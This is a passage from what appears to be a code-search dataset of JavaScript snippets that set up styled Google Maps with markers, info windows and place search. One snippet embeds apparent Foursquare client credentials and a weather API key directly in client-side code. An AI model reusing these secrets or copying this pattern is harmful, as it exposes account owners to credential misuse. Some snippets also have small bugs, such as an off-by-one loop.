[{\r\n \"visibility\": \"on\"\r\n }]\r\n },\r\n {\r\n featureType: 'poi.park',\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#1e3c40'\r\n }]\r\n },\r\n\r\n {\r\n featureType: 'road',\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#38414e'\r\n }]\r\n },\r\n {\r\n featureType: 'road',\r\n elementType: 'geometry.stroke',\r\n stylers: [{\r\n color: '#212a37'\r\n }]\r\n },\r\n {\r\n featureType: 'road',\r\n elementType: 'labels.text.fill',\r\n stylers: [{\r\n color: '#f2f2f2'\r\n }]\r\n },\r\n {\r\n featureType: 'road.highway',\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#746855'\r\n }]\r\n },\r\n {\r\n featureType: 'road.highway',\r\n elementType: 'geometry.stroke',\r\n stylers: [{\r\n color: '#1f2835'\r\n }]\r\n },\r\n {\r\n featureType: 'road.highway',\r\n elementType: 'labels.text.fill',\r\n stylers: [{\r\n color: '#edc07a'\r\n }]\r\n },\r\n {\r\n featureType: 'transit',\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#3b485b'\r\n }]\r\n },\r\n {\r\n featureType: 'transit.station',\r\n stylers: [{\r\n \"visibility\": \"off\"\r\n }]\r\n },\r\n {\r\n featureType: 'water',\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#385b60'\r\n }]\r\n },\r\n {\r\n featureType: 'water',\r\n elementType: 'labels.text',\r\n stylers: [{\r\n \"visibility\": \"off\"\r\n }]\r\n }\r\n ]\r\n };\r\n\r\n map = new google.maps.Map(document.getElementById('map'), mapOptions);\r\n\r\n}", "title": "" }, { "docid": "e22c30bcfc4f9e61056d2f4db5cda115", "score": "0.6330974", "text": "function initMap() {\n var styles = [\n {\n featureType: 'water',\n stylers: [\n {\n color: '#29b2ea'\n }\n ]\n }, {\n featureType: 'administrative',\n elementType: 'labels.text.stroke',\n stylers: [\n {\n color: '#ffffff'\n },\n {\n weight: 4\n }\n ]\n }, {\n featureType: 'administrative',\n elementType: 'labels.text.fill',\n stylers: [\n {\n color: '#e85113'\n }\n ]\n }, {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [\n {\n color: '#efe9e4'\n },\n {\n lightness: -40\n }\n ]\n }, {\n featureType: 'transit.station',\n stylers: [\n {\n weight: 9\n },\n {\n hue: '#13c7e8'\n }\n ]\n }, {\n featureType: 'road.highway',\n elementType: 'labels.icon',\n stylers: [\n {\n visibility: 'off'\n }\n ]\n }, {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [\n {\n lightness: 100\n }\n ]\n }, {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [\n {\n lightness: -100\n }\n ]\n }, {\n featureType: 'poi',\n elementType: 'geometry',\n stylers: [\n {\n visibility: 'on'\n },\n {\n color: '#f0e4d3'\n }\n ]\n }, {\n featureType: 'road.highway',\n elementType: 'geometry.fill',\n stylers: [\n {\n color: '#efe9e4'\n },\n {\n lightness: -35\n }\n ]\n }\n ];\n\n var mapOptions = {\n zoom: 11,\n center: new google.maps.LatLng(37.387474, -122.057543),\n mapTypeControl: true,\n scrollwheel: true,\n disableDefaultUI: false,\n styles: styles,\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n streetViewControl: true\n };\n\n //Creates a new infowindow\n var infowindow = new google.maps.InfoWindow();\n\n // Changes the marker style.\n var defaultIcon = makeMarkerIcon('0091ff');\n\n // Changes the marker style to \"highlighted \" marker by mouseover.\n var highlightedIcon = makeMarkerIcon('07eee6');\n\n //Sets the Knockout.js observables\n var Place = function (data, foursquare, map) {\n var self = this;\n this.name = ko.observable(data.name);\n this.lat = ko.observable(data.lat);\n this.lng = ko.observable(data.lng);\n this.city = ko.observable(data.city);\n this.url = ko.observable(data.url);\n this.geekyPlaces = ko.observableArray([]);\n this.marker = ko.observable();\n this.rating = ko.observable();\n this.checkinCount = ko.observable();\n this.state = ko.observable();\n this.postCode = ko.observable();\n this.country = ko.observable();\n this.localWeather = ko.observable();\n };\n\n\n\n var ViewModel = function () {\n var self = this;\n\n this.placeList = ko.observableArray([]);\n\n\n //Creates objects for each item in the Location Array\n geekyPlaces.forEach(function (locationItem) {\n self.placeList.push(new Place(locationItem));\n });\n\n\n self.placeList()\n .forEach(function (locationItem) {\n\n marker = new google.maps.Marker({\n position: new google.maps.LatLng(locationItem.lat(), locationItem.lng()),\n map: map,\n animation: google.maps.Animation.DROP,\n icon: defaultIcon,\n title: locationItem.name()\n });\n locationItem.marker = marker;\n\n\n //JSON get foursquaredata\n\n var foursquareUrl = 'https://api.foursquare.com/v2/venues/explore?limit=1&ll=' +\n locationItem.lat() + ',' + locationItem.lng() +\n '&intent=self&query=' + locationItem.name() +\n '&client_id=PBLIDC53NETDZSL1OEND4SCI1AOPHG4MMTQ2PYV3O4I4EWDO&client_secret=I0IE4GRUSALOGYMYFQGF2IMSNMJJ52TH4AVLADMJAP5N01XJ&v=20140806';\n $.getJSON(foursquareUrl, function (data) {\n results = data.response.groups[0].items[0].venue;\n locationItem.name = (results.name);\n locationItem.rating = results.rating ? results.rating : \"Rating unavailable\";\n locationItem.checkinCount = results.stats.checkinsCount;\n locationItem.rcheckinCount = results.stats.checkinsCount ? results.stats.checkinsCount : \"Check ins unavailable\";\n })\n .fail(function (jqxhr, textStatus, error) {\n alert('There was an errors when retrieving the data. Please try refresh page or try again later.');\n });\n\n\n // Two event listeners - one for mouseover, one for mouseout,\n // to change the colors back and forth.\n marker.addListener('mouseover', function () {\n this.setIcon(highlightedIcon);\n });\n marker.addListener('mouseout', function () {\n this.setIcon(defaultIcon);\n });\n\n //Toggles the bounce animation on the marker\n function toggleBounce() {\n if (locationItem.marker.getAnimation() !== null) {\n locationItem.marker.setAnimation(null);\n } else {\n locationItem.marker.setAnimation(google.maps.Animation.BOUNCE);\n }\n }\n\n\n\n // By click animate the marker and then show the infowindow\n google.maps.event.addListener(locationItem.marker, 'click', function () {\n toggleBounce();\n setTimeout(toggleBounce, 2000);\n setTimeout(function () {\n infowindow.setContent('<h3>' + locationItem.name +\n '</h3>\\n<h5>FourSquare-Infos:</h5>\\n<p><span class=\"glyphicon glyphicon-thumbs-up\"></span> <span>: </span>' +\n locationItem.rating +\n '</p>\\n<p><span class=\"glyphicon glyphicon-home\"></span> <span>: </span>' +\n locationItem.checkinCount);\n infowindow.open(map, locationItem.marker);\n map.setZoom(14);\n }, 200);\n });\n });\n\n\n //opens the marker if clicked\n self.show_info = function (locationItem) {\n google.maps.event.trigger(locationItem.marker, 'click');\n };\n\n infowindow.addListener('closeclick', function () {\n infowindow.marker = null;\n map.setZoom(12);\n });\n\n\n\n self.filterText = ko.observable(\"\");\n\n self.filteredList = ko.computed(function () {\n var filterText = self.filterText()\n .toLowerCase();\n if (self.filterText()\n .length > 0) {\n return ko.utils.arrayFilter(self.placeList(), function (location) {\n console.log(location.name);\n var name = location.name.toLowerCase();\n var shouldVisible = name.indexOf(filterText) > -1;\n location.marker.setVisible(shouldVisible);\n return shouldVisible;\n });\n } else {\n self.placeList()\n .forEach(function (location) {\n location.marker.setVisible(true);\n });\n return self.placeList();\n }\n });\n }\n\n\n // This function takes in a color, and then creates a new marker\n function makeMarkerIcon(markerColor) {\n var markerImage = new google.maps.MarkerImage(\n 'http://chart.googleapis.com/chart?chst=d_map_spin&chld=1.15|0|' + markerColor +\n '|40|_|%E2%80%A2',\n new google.maps.Size(21, 34),\n new google.maps.Point(0, 0),\n new google.maps.Point(10, 34),\n new google.maps.Size(21, 34));\n return markerImage;\n }\n\n google.maps.event.addDomListener(window, 'resize', function () {\n map.setCenter(new google.maps.LatLng(37.387474, -122.057543));\n });\n\n\n $.ajax({\n url: \"http://api.wunderground.com/api/e6f14835285d1ad3/conditions/q/CA/San_Francisco.json\",\n dataType: \"json\",\n success: function (url) {\n console.log(url);\n var location = 'Silicon Valley';\n var temp_c = url.current_observation.temp_c;\n $(\".conditions\")\n .html(\"Current temperature is: \" + temp_c + \"ºC\");\n },\n error: function (url) {\n alert(\"Try to refresh the page, weather information could not be load\");\n }\n });\n\n map = new google.maps.Map(document.getElementById('map'), mapOptions);\n\n\n // binding handler that init the ViewModel\n ko.applyBindings(new ViewModel());\n}", "title": "" }, { "docid": "e84fecda2b3af375aa89fbf3b087f67f", "score": "0.632396", "text": "function initialize() {\n\t var map = new google.maps.Map(\n\t document.getElementById(\n\t \"googleMap\"),\n\t mapProp);\n\t// _______________ Map styles _______________\n\t var mapStyle = [{\n\t \"featureType\": \"all\",\n\t \"elementType\": \"labels.text.fill\",\n\t \"stylers\": [{\n\t \"color\": \"#ffffff\"\n\t }]\n\t }, {\n\t \"featureType\": \"all\",\n\t \"elementType\": \"labels.text.stroke\",\n\t \"stylers\": [{\n\t \"color\": \"#000000\"\n\t }, {\n\t \"lightness\": 13\n\t }]\n\t }, {\n\t \"featureType\": \"administrative\",\n\t \"elementType\": \"geometry.fill\",\n\t \"stylers\": [{\n\t \"color\": \"#000000\"\n\t }]\n\t }, {\n\t \"featureType\": \"administrative\",\n\t \"elementType\": \"geometry.stroke\",\n\t \"stylers\": [{\n\t \"color\": \"#144b53\"\n\t }, {\n\t \"lightness\": 14\n\t }, {\n\t \"weight\": 1.4\n\t }]\n\t }, {\n\t \"featureType\": \"landscape\",\n\t \"elementType\": \"all\",\n\t \"stylers\": [{\n\t \"color\": \"#08304b\"\n\t }]\n\t }, {\n\t \"featureType\": \"poi\",\n\t \"elementType\": \"geometry\",\n\t \"stylers\": [{\n\t \"color\": \"#0c4152\"\n\t }, {\n\t \"lightness\": 5\n\t }]\n\t }, {\n\t \"featureType\": \"road.highway\",\n\t \"elementType\": \"geometry.fill\",\n\t \"stylers\": [{\n\t \"color\": \"#000000\"\n\t }]\n\t }, {\n\t \"featureType\": \"road.highway\",\n\t \"elementType\": \"geometry.stroke\",\n\t \"stylers\": [{\n\t \"color\": \"#0b434f\"\n\t }, {\n\t \"lightness\": 25\n\t }]\n\t }, {\n\t \"featureType\": \"road.arterial\",\n\t \"elementType\": \"geometry.fill\",\n\t \"stylers\": [{\n\t \"color\": \"#000000\"\n\t }]\n\t }, {\n\t \"featureType\": \"road.arterial\",\n\t \"elementType\": \"geometry.stroke\",\n\t \"stylers\": [{\n\t \"color\": \"#0b3d51\"\n\t }, {\n\t \"lightness\": 16\n\t }]\n\t }, {\n\t \"featureType\": \"road.local\",\n\t \"elementType\": \"geometry\",\n\t \"stylers\": [{\n\t \"color\": \"#000000\"\n\t }]\n\t }, {\n\t \"featureType\": \"transit\",\n\t \"elementType\": \"all\",\n\t \"stylers\": [{\n\t \"color\": \"#146474\"\n\t }]\n\t }, {\n\t \"featureType\": \"water\",\n\t \"elementType\": \"all\",\n\t \"stylers\": [{\n\t \"color\": \"#021019\"\n\t }]\n\t }];\n\t map.setOptions({\n\t styles: mapStyle\n\t });\n\t // _______________ Add map marker _______________\n\t var marker = new google.maps\n\t .Marker({\n\t position: mapPos,\n\t map: map,\n\t title: 'Server / Person Located Here!'\n\t });\n\t}", "title": "" }, { "docid": "e47ac0a6ea0e247cfb448f9e3fa2a7b6", "score": "0.6321946", "text": "function initializeMap() {\n\n var locations;\n\n var mapOptions = {\n disableDefaultUI: true,\n styles: [{\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#000000\"\n }]\n }, {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\n \"color\": \"#444444\"\n }]\n }, {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\n \"hue\": \"#ff0000\"\n }]\n }, {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"color\": \"#f2f2f2\"\n }]\n }, {\n \"featureType\": \"landscape.man_made\",\n \"elementType\": \"labels\",\n \"stylers\": [{\n \"saturation\": \"36\"\n }]\n }, {\n \"featureType\": \"poi\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"road\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"saturation\": -100\n }, {\n \"lightness\": 45\n }]\n }, {\n \"featureType\": \"road.highway\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"transit\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"water\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"color\": \"#d5d5d5\"\n }, {\n \"visibility\": \"on\"\n }]\n }]\n\n\n\n };\n\n // For the map to be displayed, the googleMap var must be appended to\n // #mapDiv in resumeBuilder.js.\n map = new google.maps.Map(document.querySelector('#map'), mapOptions);\n\n // locationFinder() returns an array of every location string from the\n // JSONs written for bio, education, and work.\n function locationFinder() {\n\n // initializes an empty array\n var locations = [];\n\n // adds the single location property from bio to the locations array\n locations.push(bio.contacts.location);\n\n // iterates through school locations and appends each location to\n // the locations array. Note that forEach is used for array iteration\n // as described in the Udacity FEND Style Guide:\n // https://udacity.github.io/frontend-nanodegree-styleguide/javascript.html#for-in-loop\n education.schools.forEach(function(school) {\n locations.push(school.location);\n });\n\n // iterates through work locations and appends each location to\n // the locations array. Note that forEach is used for array iteration\n // as described in the Udacity FEND Style Guide:\n // https://udacity.github.io/frontend-nanodegree-styleguide/javascript.html#for-in-loop\n work.jobs.forEach(function(job) {\n locations.push(job.location);\n });\n\n return locations;\n }\n\n // createMapMarker(placeData) reads Google Places search results to create\n // map pins.\n // placeData is the object returned from search results containing\n // information about a single location.\n function createMapMarker(placeData) {\n\n // The next lines save location data from the search result object to\n // local variables\n var lat = placeData.geometry.location.lat(); // latitude from the place service\n var lon = placeData.geometry.location.lng(); // longitude from the place service\n var name = placeData.formatted_address; // name of the place from the place service\n var bounds = window.mapBounds; // current boundaries of the map window\n\n // marker is an object with additional data about the pin for a single\n // location\n\n // Custom marker image\n var image = './images/placeholder.png';\n\n var marker = new google.maps.Marker({\n map: map,\n position: placeData.geometry.location,\n title: name,\n icon: image\n });\n\n // Content of the infoWindow\n var content = '<div class=\"iw-title\">' + name + '</div>';\n \n // infoWindows are the little helper windows that open when you click\n // or hover over a pin on a map. They usually contain more information\n // about a location.\n // The code creates an \"infoWindow\" object that controls the properties\n // of the window.\n var infoWindow = new google.maps.InfoWindow({\n content: content\n });\n\n // The code inside the event listener will run every time a user\n // clicks on a marker\n google.maps.event.addListener(marker, 'click', function() {\n // open() method of the \"infoWindow\" object\n infoWindow.open(map, marker);\n });\n\n // The code inside the event listener will run every time a user\n // clicks on the map\n google.maps.event.addListener(map, 'click', function() {\n // close() method of the \"infoWindow\" object\n infoWindow.close();\n });\n\n // this is where the pin actually gets added to the map.\n // bounds.extend() takes in a map location object\n bounds.extend(new google.maps.LatLng(lat, lon));\n // fit the map to the new marker\n map.fitBounds(bounds);\n // center the map\n map.setCenter(bounds.getCenter());\n }\n\n // callback(results, status) makes sure the search returned results for a\n // location. If so, it creates a new map marker for that location.\n function callback(results, status) {\n if (status == google.maps.places.PlacesServiceStatus.OK) {\n createMapMarker(results[0]);\n }\n }\n\n // pinPoster(locations) takes in the array of locations created by\n // locationFinder() and fires off Google place searches for each location\n function pinPoster(locations) {\n\n // creates a Google place search service object. PlacesService does\n // the work of actually searching for location data.\n var service = new google.maps.places.PlacesService(map);\n\n // Iterates through the array of locations, creates a search object\n // for each location\n locations.forEach(function(place) {\n // the search request object\n var request = {\n query: place\n };\n\n // Actually searches the Google Maps API for location data and\n // runs the callback function with the search results after each\n // search.\n service.textSearch(request, callback);\n });\n }\n\n // Sets the boundaries of the map based on pin locations\n window.mapBounds = new google.maps.LatLngBounds();\n\n // locations is an array of location strings returned from locationFinder()\n locations = locationFinder();\n\n // pinPoster(locations) creates pins on the map for each location in\n // the locations array\n pinPoster(locations);\n\n}", "title": "" }, { "docid": "dc1ad3427ec03b0bda165a86bbe52f49", "score": "0.6300282", "text": "function initMap() {\n var map = new google.maps.Map(document.getElementById('map'), {\n zoom: 14,\n center: { lat: -33.9, lng: 151.2 },\n mapTypeControl: false,\n scrollwheel: false,\n styles: [{ 'featureType': 'water', 'elementType': 'geometry', 'stylers': [{ 'color': '#e9e9e9' }, { 'lightness': 17 }] }, { 'featureType': 'landscape', 'elementType': 'geometry', 'stylers': [{ 'color': '#f5f5f5' }, { 'lightness': 20 }] }, { 'featureType': 'road.highway', 'elementType': 'geometry.fill', 'stylers': [{ 'color': '#ffffff' }, { 'lightness': 17 }] }, { 'featureType': 'road.highway', 'elementType': 'geometry.stroke', 'stylers': [{ 'color': '#ffffff' }, { 'lightness': 29 }, { 'weight': 0.2 }] }, { 'featureType': 'road.arterial', 'elementType': 'geometry', 'stylers': [{ 'color': '#ffffff' }, { 'lightness': 18 }] }, { 'featureType': 'road.local', 'elementType': 'geometry', 'stylers': [{ 'color': '#ffffff' }, { 'lightness': 16 }] }, { 'featureType': 'poi', 'elementType': 'geometry', 'stylers': [{ 'color': '#f5f5f5' }, { 'lightness': 21 }] }, { 'featureType': 'poi.park', 'elementType': 'geometry', 'stylers': [{ 'color': '#dedede' }, { 'lightness': 21 }] }, { 'elementType': 'labels.text.stroke', 'stylers': [{ 'visibility': 'on' }, { 'color': '#ffffff' }, { 'lightness': 16 }] }, { 'elementType': 'labels.text.fill', 'stylers': [{ 'saturation': 36 }, { 'color': '#333333' }, { 'lightness': 40 }] }, { 'elementType': 'labels.icon', 'stylers': [{ 'visibility': 'off' }] }, { 'featureType': 'transit', 'elementType': 'geometry', 'stylers': [{ 'color': '#f2f2f2' }, { 'lightness': 19 }] }, { 'featureType': 'administrative', 'elementType': 'geometry.fill', 'stylers': [{ 'color': '#fefefe' }, { 'lightness': 20 }] }, { 'featureType': 'administrative', 'elementType': 'geometry.stroke', 'stylers': [{ 'color': '#fefefe' }, { 'lightness': 17 }, { 'weight': 1.2 }] }]\n });\n setMarkers(map);\n}", "title": "" }, { "docid": "a864bd5508c72445256808af9a97a2a0", "score": "0.62952524", "text": "function initMap(){\n // this line connects map function to the mapone class in the html\n var map=new google.maps.Map(document.getElementById(\"mapone\"), {\n // Bellow are map styling features\n zoom:4,\n center: {lat:37.0902, lng:-95.7129},\n mapTypeControl: false,\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n position: google.maps.ControlPosition.TOP_CENTER,\n },\n zoomControl: true,\n scaleControl: false,\n streetViewControl: false,\n streetViewControlOptions: {\n position: google.maps.ControlPosition.LEFT_TOP,\n },\n fullscreenControl: true,\n fullscreenControlOptions: {\n position: google.maps.ControlPosition.RIGHT_BOTTOM,\n },\n styles: [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#8ec3b9\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1a3646\"\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#4b6878\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#64779e\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#4b6878\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.man_made\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#334e87\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.natural\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#283d6a\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#6f9ba5\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#3C7680\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#304a7d\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#98a5be\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#2c6675\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#255763\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#b0d5ce\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#98a5be\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#283d6a\"\n }\n ]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#3a4762\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#0e1626\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#4e6d70\"\n }\n ]\n }\n ]\n });\n// end of map styling\n\n // takes the play button element and potitions the button at the bottom of the map\n var playButton = document.getElementById('playbutton');\n map.controls[google.maps.ControlPosition.BOTTOM_CENTER].push(playButton);\n \n // this places the slider bar element onto the map \n var slider = document.getElementById('myProgress');\n map.controls[google.maps.ControlPosition.BOTTOM_CENTER].push(slider);\n\n\n // Creates the search box and links it to the UI element.\n var input = document.getElementById('searchInput');\n const searchBox = new google.maps.places.SearchBox(input);\n map.controls[google.maps.ControlPosition.TOP_CENTER].push(input);\n\n // Bias the SearchBox results towards current map's viewport.\n map.addListener(\"bounds_changed\", () => {\n searchBox.setBounds(map.getBounds());\n });\n let markers = [];\n // Listen for the event fired when the user selects a prediction and retrieve\n // more details for that place.\n searchBox.addListener(\"places_changed\", () => {\n const places = searchBox.getPlaces();\n\n if (places.length == 0) {\n return;\n }\n // Clear out the old markers.\n markers.forEach((marker) => {\n marker.setMap(null);\n });\n markers = [];\n // For each place, get the icon, name and location.\n const bounds = new google.maps.LatLngBounds();\n places.forEach((place) => {\n if (!place.geometry || !place.geometry.location) {\n console.log(\"Returned place contains no geometry\");\n return;\n }\n const icon = {\n url: place.icon,\n size: new google.maps.Size(71, 71),\n origin: new google.maps.Point(0, 0),\n anchor: new google.maps.Point(17, 34),\n scaledSize: new google.maps.Size(25, 25),\n };\n // Create a marker for each place.\n markers.push(\n new google.maps.Marker({\n map,\n icon,\n title: place.name,\n position: place.geometry.location,\n })\n );\n\n if (place.geometry.viewport) {\n // Only geocodes have viewport.\n bounds.union(place.geometry.viewport);\n } else {\n bounds.extend(place.geometry.location);\n }\n });\n // plots the bounds\n map.fitBounds(bounds);\n // controls how close to zoom in when the search bar is used\n map.setZoom(9);\n });\n}", "title": "" }, { "docid": "b19179cb1a308fc0fd16729fb1749470", "score": "0.6257842", "text": "function styleMap() {\n\n $(\"#indego_mower_map\").find('rect')[0].remove(); // Background\n $(\"#indego_mower_map\").find('path')[0].remove(); // mash\n $(\"#indego_mower_map\").find('polygon')[0].setAttribute('style','fill:#fff;'); // Fill map white\n $(\"#indego_mower_map\").find('polygon')[1].remove();\n }", "title": "" }, { "docid": "278d365430a24f5419b6e711d5fd525a", "score": "0.6245678", "text": "function init() {\n var locations = [\n ['Xirosoft', 23.810331, 90.412521, 3],\n ['Xirosoft', 23.9980797, 90.4229848],\n ['Xirosoft', 23.8780696, 90.2540589],\n ];\n\n var map = new google.maps.Map(document.getElementById('map'), {\n zoom: 10,\n center: new google.maps.LatLng(23.810331, 90.412521),\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n\n\n styles: [{ \"featureType\": \"water\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#e9e9e9\" }, { \"lightness\": 17 }] }, { \"featureType\": \"landscape\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f5f5f5\" }, { \"lightness\": 20 }] }, { \"featureType\": \"road.highway\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 17 }] }, { \"featureType\": \"road.highway\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 29 }, { \"weight\": 0.2 }] }, { \"featureType\": \"road.arterial\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 18 }] }, { \"featureType\": \"road.local\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 16 }] }, { \"featureType\": \"poi\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f5f5f5\" }, { \"lightness\": 21 }] }, { \"featureType\": \"poi.park\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#dedede\" }, { \"lightness\": 21 }] }, { \"elementType\": \"labels.text.stroke\", \"stylers\": [{ \"visibility\": \"on\" }, { \"color\": \"#ffffff\" }, { \"lightness\": 16 }] }, { \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"saturation\": 36 }, { \"color\": \"#333333\" }, { \"lightness\": 40 }] }, { \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"transit\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f2f2f2\" }, { \"lightness\": 19 }] }, { \"featureType\": \"administrative\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#fefefe\" }, { \"lightness\": 20 }] }, { \"featureType\": \"administrative\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#fefefe\" }, { \"lightness\": 17 }, { \"weight\": 1.2 }] }]\n });\n\n var infowindow = new google.maps.InfoWindow();\n\n var marker, i;\n\n for (i = 0; i <= locations.length; i++) {\n marker = new google.maps.Marker({\n position: new google.maps.LatLng(locations[i][1], locations[i][2]),\n map: map,\n icon: 'assets/img/home1.png',\n });\n\n google.maps.event.addListener(marker, 'click', (function (marker, i) {\n return function () {\n infowindow.setContent(locations[i][0]);\n infowindow.open(map, marker);\n }\n })(marker, i));\n }\n\n\n }", "title": "" }, { "docid": "4c99c988d8969be814599d1631464193", "score": "0.6244055", "text": "function createEmptyMap( isSatellite ){\n\n var map = new google.maps.Map(document.getElementById('mapa'), {\n zoom: 18,\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n mapTypeControl: false,\n streetViewControl: false,\n panControl: false,\n scrollwheel: false,\n zoomControlOptions: {\n position: google.maps.ControlPosition.RIGHT_BOTTOM\n }\n });\n\n if( isSatellite ) {\n map.setMapTypeId(google.maps.MapTypeId.SATELLITE);\n return map;\n }\n\n var styles = 